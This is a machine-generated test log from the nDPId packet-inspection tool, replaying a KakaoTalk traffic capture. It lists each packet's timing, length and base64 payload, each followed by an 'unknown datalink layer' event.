+00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2031,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":191321,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/0juAbDMDfq+3w1Sapdp+FsIBqvEW0HW0R7eGsnepDCnJCzA80Y+06QxKOueOl9BOZkZlfEG5yjSb"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2031,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2032,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":199286,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/46OAbDMEfq+7g1Sapdrbh+ic1IIE1etHgh3rfXZt295zuEV9g6xlrZq86ktuc5c+YJfF5LvPEenj"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2032,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2033,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":212348,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGEAAEAAPxHbQQoYUrwByQGuLDhaBABNECOAbFCpi0D7GguGVRm6m99ciA3C5KBMduOMDpn5WVp5JyIBncvdQV0hApg7zzRtT71uyqBJuxaGA89RTFoerdPnbjntiOU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2033,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2034,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":212500,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHOEqAbFB+i0BZ2guGVRmADh6NV+Cmh5ovyCas6oso0w4fs74pVEXuE3ITIQbAxQc7Ls1B+YM\/ic\/ERtv24Vn9yUs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2034,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2035,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":217810,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJpxGAbFCqi0D+2guGVRma1d5mMvxA9pAsmMosLVLMdhBABWEWYOewH6Z+iGIX0QzoGYfVMGOIzYZhqCJtrcU0pj+73w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2035,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2036,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":245093,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHrqOAbFB\/i0BdmguGVRn9Z4ZETALBA7OZVyVnurLmnBXhEVqON7x7JHyTRQABmkQQz9HhVea4sCgc2lrFT+dZcaM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2036,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2037,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":251349,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/E1yAbDMFfq+\/Q1SapdqskncUVJnA+UlJCcC5dneJAU6qX3ypnTmpV\/4qaksBzVZjxFnOWxJTmNbv"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2037,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2038,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":259284,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGIAAEAAHBH+GAHJAa4KGFK8WgYoHABO1keAbFCAi0BhWguGVRn0c+LEjOBnGZ9FSfCm0HbHSrAgWMEBZLXAey0TifmvSnVRBVvdU6HS6irEvhYwL74IUC1zUysvzPd8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2038,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00524{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2039,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":265479,"pkt_caplen":162,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":162,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJIAAEAAQBHaEAoYUrwByQGuKBxaBgB+dCqAbDMwfrBgg1SapdqIpPBYn\/P\/O0t\/OWbhxigMdcDGkP1bnd8Cq2qpOtxMUmXcet4P0LNqrVOGmGByMOPXuFCBIhfvzByUJ+OQv\/XqEWDKtRwA+8tKgxpaLd57hmcF4Bhnt2rHN4zOjQCDagJ7XzKvctgopGO8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2039,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2040,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":267371,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/eqmAbDMGfq\/DA1SapdqvHJ48HCwZQ10fOZ1Wh20Rsn1qYZ\/03eYWoxj5+cbNAEtdKEm+8gbyT9y3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2040,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2041,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":279334,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/bn+AbDMHfq\/Gw1SapdqpTSKpuGRKSgv87j9VuOL2eZN9TW1t\/fnFFP214z4hF\/M7Bhf+GHMz\/XMk"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2041,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2042,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":299292,"pkt_caplen":147,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":147,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIMAAEAAHBH99wHJAa4KGFK8WgYoHABvo6qAbFCBi0BlGguGVRmCRNAVcoK1QubKAAF9\/GGN09YBlGJ2rbMLXDtHX9PebcaFAe\/iiwC3I1RWje+AXUspJ4OHNFQARh7ZY2IsXSLkyqEjz6HQpOaTMhX434s5AF8jiJv6Ar0vESXg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2042,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2043,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":304175,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHQAAEAAQBHaLgoYUrwByQGuKBxaBgBgYqmAbDMxfrBkQ1SapdolwvnwzwMK5JZ7CpzmoiMlsGkTnmT2QL1Uo8XqOq07RjbnIk6ujU9PP5xbLXaozGofdsm3A7M5VnzkkZcM4kuhPilk4AMPFpHq\/CCN"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2043,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2044,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":312689,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHEAAEAAHBH+CQHJAa4KGFK8WgYoHABdEWiAbFCCi0Bo2guGVRmJeKKf0nWx5lVCJwBFSBQMK5lUYjxq84rQGeq41evpestjV+3sMfkiGaXnxVR3Nqc7fUO1cD28Jcrc32+N0zZNOxr6BLh6rbLr"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2044,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00538{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2045,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":318671,"pkt_caplen":174,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":174,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJ4AAEAAPxHbBAoYUrwByQGuLDhaBACKsT+AbFCri0ECmguGVRnVztbuHeYsYCrkqRaCGtYfKpqm2c1nQabDwbhVEgUwoBq1IgzH82EhzTqzsx\/kICDlK79kWMbJ2ovnkYa7bQGuyWEhp1nIfYP\/J1k0P6Pd7WfUKejn6bWwRV51Sx3crXutGGiW7nwLM7xpL9PQ7J7LsrQdJPO7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2045,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00529{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2046,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":320960,"pkt_caplen":166,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":166,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJYAAEAAPxHbDAoYUrwByQGuLDhaBACCrnaAbFCsi0EGWguGVRkVuhOBkhsRF46aA+LVY9KLVnxxDmv6a0betWgteHwWngROTY+4LuQtm3TbSAnd53\/CtoKgyb24pew0PA+j2S2F01AmXDe9UgJ9l2VCwGZePm6LGrRkNdeClC4guXAHEbaFD0ZugXm8mHlNZyGouw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2046,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2047,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":343268,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/PAiAbDMIfq\/Kg1SapdrclCU8\/\/bhd9HVLzKpRKsHt6J4WkaLj9yX\/m3JmkdOPPwi7zi9O3FrL3tv"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2047,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2048,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":347235,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/NdiAbDMJfq\/OQ1SapdpBLSKyTbARIub4lsb8xMk4dags7LFJ+AbRVxJPRQbXdvJsxf2vTFfqeBhe"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2048,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00508{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2049,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":348609,"pkt_caplen":152,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":152,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIgAAEAAQBHaGgoYUrwByQGuKBxaBgB086CAbDMyfrBoA1Sapdq750tU8fVdnPBwNp6hl2BZUWgQc8c7NsIotJIpH1RzTavtvQ1vSXe7kkZgVq43lsUwCxW0SUpsuL7slGFdJvHRrbcDBfbaXTVdHr7e+sNQGEq8z4MhXixbEUmkTdJG5eg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2049,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2050,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":369208,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGkAAEAAHBH+EQHJAa4KGFK8WgYoHABVekOAbFCDi0BsmguGVRntThpiLDTlnkhC6jksq4tpC0Mnb8sK\/msmDBdK+MDyJ2gdW5qOMzoEC76dMUfMZsKxKLoGuF3ddsJ0NpbyfruvxQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2050,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00468{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2051,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":369361,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGkAAEAAHBH+EQHJAa4KGFK8WgYoHABVrTKAbFCEi0BwWguGVRm9vGJ9EbgdnIDGo+Zqakhf8SjC4Hd8+wtvyFyaeGwtOA8VL99nnERQLeR2k4mH360QjJoTRfX5bHrYxG0DnqhltQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2051,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2052,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":379340,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/N\/SAbDMKfq\/SA1SapdoKRg77brXtsP8xs50puUaqw6Hh3Iqb\/YgPHPDqi6NhlNjbdnDYV\/iUd1+X"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2052,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2053,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":399390,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGIAAEAAHBH+GAHJAa4KGFK8WgYoHABOHdOAbFCFi0B0GguGVRlr5Gw8fx+PjZxpB4Ce9hyDsslqoSvwqarkkT+EoTRGjJXyg3b\/jL1YtA1zHVea196z7DYcTZ9UwM+7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2053,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2054,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":411322,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/pMuAbDMLfq\/Vw1SapdpB6kYTJpoup1\/8usfcptY1\/CNrRXmy+9310mqmo1F6+f3MexbWvZPvxY3C"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2054,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00562{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2055,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":415503,"pkt_caplen":190,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":190,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAK4AAEAAPxHa9AoYUrwByQGuLDhaBACaTO2AbFCti0EKGguGVRk7Sqws4Z4s1UVQkzjznLn\/QJjtNMj8veNgktCFcOkYxx5o5wOsiTfw3jESuFWHtCYdO5x2CkJAmLSiYSgLdZ0tVJemOTysHtYaA\/waMpbucdzTRrD7Kv7jDYvv7dDj+emkBbNLbpJlwoB4IF0aHTWUguu07m1tdhi0NCeIYNmIIFcX1ZPU7w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2055,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2056,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":427344,"pkt_caplen":131,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHMAAEAAQBHaLwoYUrwByQGuKBxaBgBfNaiAbDMzfrBrw1SapdozKnwc1xfOtexrmnketxl9AEqN\/TmQIZnPuRBvdd8xvqBBw4vLaQvTxeB1r+n9H3vjp9FAI+evjyK1R3P3t2zLOmuAiobAoea3cFc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2056,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2057,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":443305,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHBH+GwHJAa4KGFK8WgYoHABL0K+AbFCGi0B32guGVRkONHZ\/mfp4Env4iSfwarnadmJbUd9\/XV53fiL0NwtJMqPv7Vo6tJCU6PW9gi219Si73nSxqaqo"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2057,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2058,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":451789,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHBH+IQHJAa4KGFK8WgYoHABF\/v6AbFCHi0B7mguGVRmjZUKo6Kbx9n3zn0hN1zATKmakH3CgP8kjjPH7M5mmRBAQ2Mzaa\/KFOl73U111CmvM"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2058,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2059,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":459296,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/YKOAbDMMfq\/Zg1SapdrAKJhV0ODe\/RmjWc5EMHxHxFyAivnqCcEcyIb4eTJwEzJIRKgUUDwQu\/Md"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2059,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2060,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":462958,"pkt_caplen":127,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":127,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG8AAEAAQBHaMwoYUrwByQGuKBxaBgBb+SyAbDM0frBvg1SapdqzqmpQvsjMEUDwXZ4H85eDOQYp1BLnQO9dLWrHxZf7la0dQSouLLwx+uzcgckJMtq9TwB7dsS7oVuzGRvZ5SO9ldYPxddu1Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2060,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2061,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":467963,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/e6uAbDMNfq\/dQ1SapdpadjNLYnh0nO9if40\/lSLuBvgby9XVl\/1xl6FrJEm3kf5ZU+2CUf4hquFg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2061,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2062,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":488990,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/mdOAbDMOfq\/hA1SapdrcyUpemZsPCeSLPhQlS\/ErvXK75VxdN1LHBw2xeEe7xCzsqOGX2GPFt1TK"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2062,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2063,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":503302,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHAcKAbFCIi0B\/WguGVRmmcVlrBAmbIQmJ5WGoqE3ephTqaEz2w70WfvbpUX\/IHp9taMK+4G9C5i2XvIdk2pUbGGE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2063,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2064,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":508582,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJWhGAbFCJi0CDGguGVRl6ZVhdEfiFlm4j\/iYu8ScAakehZNN8RL6N4WrslBnnUGqc4xJHuy6aAuDlw80\/YkiD22kz9Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2064,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00542{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2065,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":514441,"pkt_caplen":175,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":175,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJ8AAEAAPxHbAwoYUrwByQGuLDhaBACLFFCAbFCui0EN2guGVRlqRIePj2o7S7zhIuIm5MPbjZ6yzj2x0oWfNpx38zXo3mqfNH2y1CRjVlE5EIucql9blgoLD4mky4LaCwckvTFos3iWDRuq\/0ZYtcDPuxgv8Y67bQ5mHsX7RF+ohtrrYeM459CkmBz3Ss4UtFQxGkDDMjAIvYM\/Cg=="} 